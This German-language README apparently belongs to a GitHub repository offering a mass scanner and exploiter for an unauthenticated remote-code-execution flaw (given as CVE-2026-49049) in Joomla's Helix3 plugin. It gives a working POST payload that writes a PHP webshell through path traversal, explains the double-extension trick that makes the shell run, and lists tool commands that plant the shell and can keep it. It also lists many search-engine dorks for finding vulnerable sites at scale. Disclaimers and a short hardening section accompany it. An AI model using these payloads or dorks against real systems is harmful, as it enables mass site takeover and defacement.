
CVE-2026-49049 Helix3 (JoomShaper) Joomla Nicht authentifizierter AJAX RCE Scanner
Massenscanner/Verifizierer für CVE-2026-49049: nicht authentifizierter AJAX-Handler im Helix3 Framework-Plugin für Joomla (v1.0 – 3.1.0, gepatcht in 3.1.1+).
Nur autorisierte Tests. Verwenden Sie dies nur auf Systemen, die Ihnen gehören oder für die Sie eine schriftliche Erlaubnis zum Testen haben.
Handler onAjaxHelix3() in plugins/ajax/helix3/helix3.php ist über Joomla com_ajax ohne Authentifizierung / CSRF-Token erreichbar:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
Aktive Massenausnutzung in freier Wildbahn setzt oft eine Doppel-Extension-Webshell ab:
< 3.1.1save mit layoutName=../../up.php + PHP-Webshell-Inhalt.json an → up.php.json landet im Web-RootAddHandler Multi-Extension führt den .php-Token ausGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKHelix3 erkennen
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json geschrieben
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
Anforderungen: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
Bearbeiten Sie targets.txt — eine URL / Host pro Zeile (# = Kommentar). Der Joomla-Pfad bleibt erhalten:
# beispiel
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
Es wird keine Webshell abgelegt. Prüft Version + testet save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://ziel.tld/joomla/ --auto -c "id"
# Webshell nach Verifikation behalten (demo autorisiert)
python3 scan.py -f targets.txt --auto --keep
# Benutzerdefinierter Webshell-Name + Traversal-Tiefen
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON-Bericht + Parallelität
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc.)
python3 scan.py -t https://ziel.tld/ --scan --proxy http://127.0.0.1:8080
Warnung: Der Modus
--autoversucht, eine Webshell per Pfad-Traversal zu schreiben. Standard: Webshell wird nach Verifikation entfernt. Verwenden Sie--keepnur für autorisierte Demos.
Terminal zeigt alle Status (Fortschritt). results.txt enthält nur anfällige Ziele:
[v] CVE-2026-49049 SHELL OK https://ziel.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://ziel.tld/up.php.json?cmd=id
[ ] VULN (keine Shell) https://ziel.tld Helix3 3.0.2 save=Y remove=Y import=Y
Andere Labels (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) erscheinen nur im Terminal, nicht in results.txt.
Verwenden Sie die folgenden Dorks, um potenziell betroffene Helix3-/Joomla-Assets zu finden. Scannen Sie nur autorisierte Ziele.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Versionsprüfung
curl -sk 'https://ZIEL/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth-save-Test (nur autorisiert)
curl -sk -X POST \
'https://ZIEL/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Aktualisieren Sie System – Helix3 Framework und Helix3 – Ajax-Plugin auf 3.1.1 oder neuer (empfohlen 3.1.2).
Das Update bereinigt nicht die bereits in der Datenbank befindlichen Payloads.
#__template_styles Spalte params auf injizierte custom_js / custom_csstmp / media:
up.php.json, cox.json, *.php.json, andere WebshellsHäufige Anzeichen einer Kompromittierung: Defacement "Hacked by AntonKill" / "trenggalek6etar", Inject custom_js, unbekannte JSON-Dateien.
Apache — Verwenden Sie nicht AddHandler für Multi-Extension; verwenden Sie:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
Upload / Datei-Schreiben: Dateinamen neu generieren, Multi-Dot-Erweiterungen ablehnen, AllowOverride None in öffentlichen Verzeichnissen.
python3 scan.py -t https://IHRE-SEITE/ --scan
# Erwartet: PATCHED Helix3 3.1.1+ (oder NOT_HELIX3, wenn das Plugin deinstalliert wurde)
CVE-2026-49049/
├── scan.py # CLI-Einstiegspunkt
├── core/
│ ├── engine.py # ThreadPoolExecutor + Ergebnisse (nur anfällig in Datei)
│ ├── probe.py # Helix3-Erkennung + save/remove/import + RCE-Ablegen
│ └── target.py # Parse / normalisiere targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Eingabe-Ziele
├── results.txt # Generiert (nur VULN / SHELL_OK)
├── requirements.txt
└── README.md
Beiträge aus der Community sind willkommen. Betreuer: ExDev994.
from __future__ import annotations, Type Hints)python3 -m py_compile scan.py core/*.py utils/*.py und python3 scan.py --helpMelden Sie Fehler / Feature-Anfragen im Issues-Bereich. Bitte angeben:
| Mitwirkender | Rolle |
|---|---|
| ExDev994 | Autor / Betreuer |
Schwachstelle ursprünglich gemeldet von Phil Taylor (mySites.guru). Dieses Repository ist eine unabhängige Scanner-Implementierung und steht nicht in Verbindung mit JoomShaper oder Open Source Matters.
Dieses Tool dient ausschließlich Ausbildungs- und autorisierten Sicherheitstestzwecken.
Unbefugter Zugriff auf Computersysteme ist illegal und kann gegen Gesetze wie das indonesische UU ITE, den US-amerikanischen CFAA und gleichwertige Gesetze in anderen Rechtsordnungen verstoßen.
Der Autor (ExDev994) übernimmt keine Haftung für Missbrauch. Durch die Nutzung dieser Software übernehmen Sie die volle Verantwortung für Ihre Handlungen. Der Modus --auto legt eine temporäre Webshell ab – verwenden Sie dies nur auf autorisierten Zielen.
| Aktion | Auswirkung | Versionen |
|---|
save | Beliebiges JSON-Datei-Schreiben + Pfad-Traversal | 1.0 – 3.1.0 |
remove | Beliebiges Löschen von Dateien (keine Erweiterungs-/Pfad-Einschränkung) | 1.0 – 3.1.0 |
import | Überschreiben von Template-Parametern in der DB (custom_js unescaped → XSS/Defacement) | nur v3.x |
| Helix3 Version | save / remove | import | Status |
|---|
| 1.0 – 2.x | Anfällig | Nicht vorhanden | Anfällig |
| 3.0 – 3.1.0 | Anfällig | Anfällig | Anfällig |
| 3.1.1+ | Gepatcht | Gepatcht | Sicher |
| Flag | Beschreibung |
|---|
-f / --file | Datei mit Zielliste (Standard: targets.txt wenn -t fehlt) |
-t / --target | Einzelne Ziel-URL |
--scan | Nur-Lese-Erkennung |
--auto | Erkennung + RCE-Verifikation (Standard) |
-c / --cmd | Befehl zur Verifikation (Standard: id) |
-o / --output | Ergebnisdatei — nur Ziele mit VULN / SHELL_OK |
--json | Strukturierter JSON-Bericht |
--keep | Webshell nach Verifikation nicht automatisch entfernen |
--threads | Gleichzeitige Worker (Standard: 15) |
--timeout | HTTP-Timeout in Sekunden (Standard: 15) |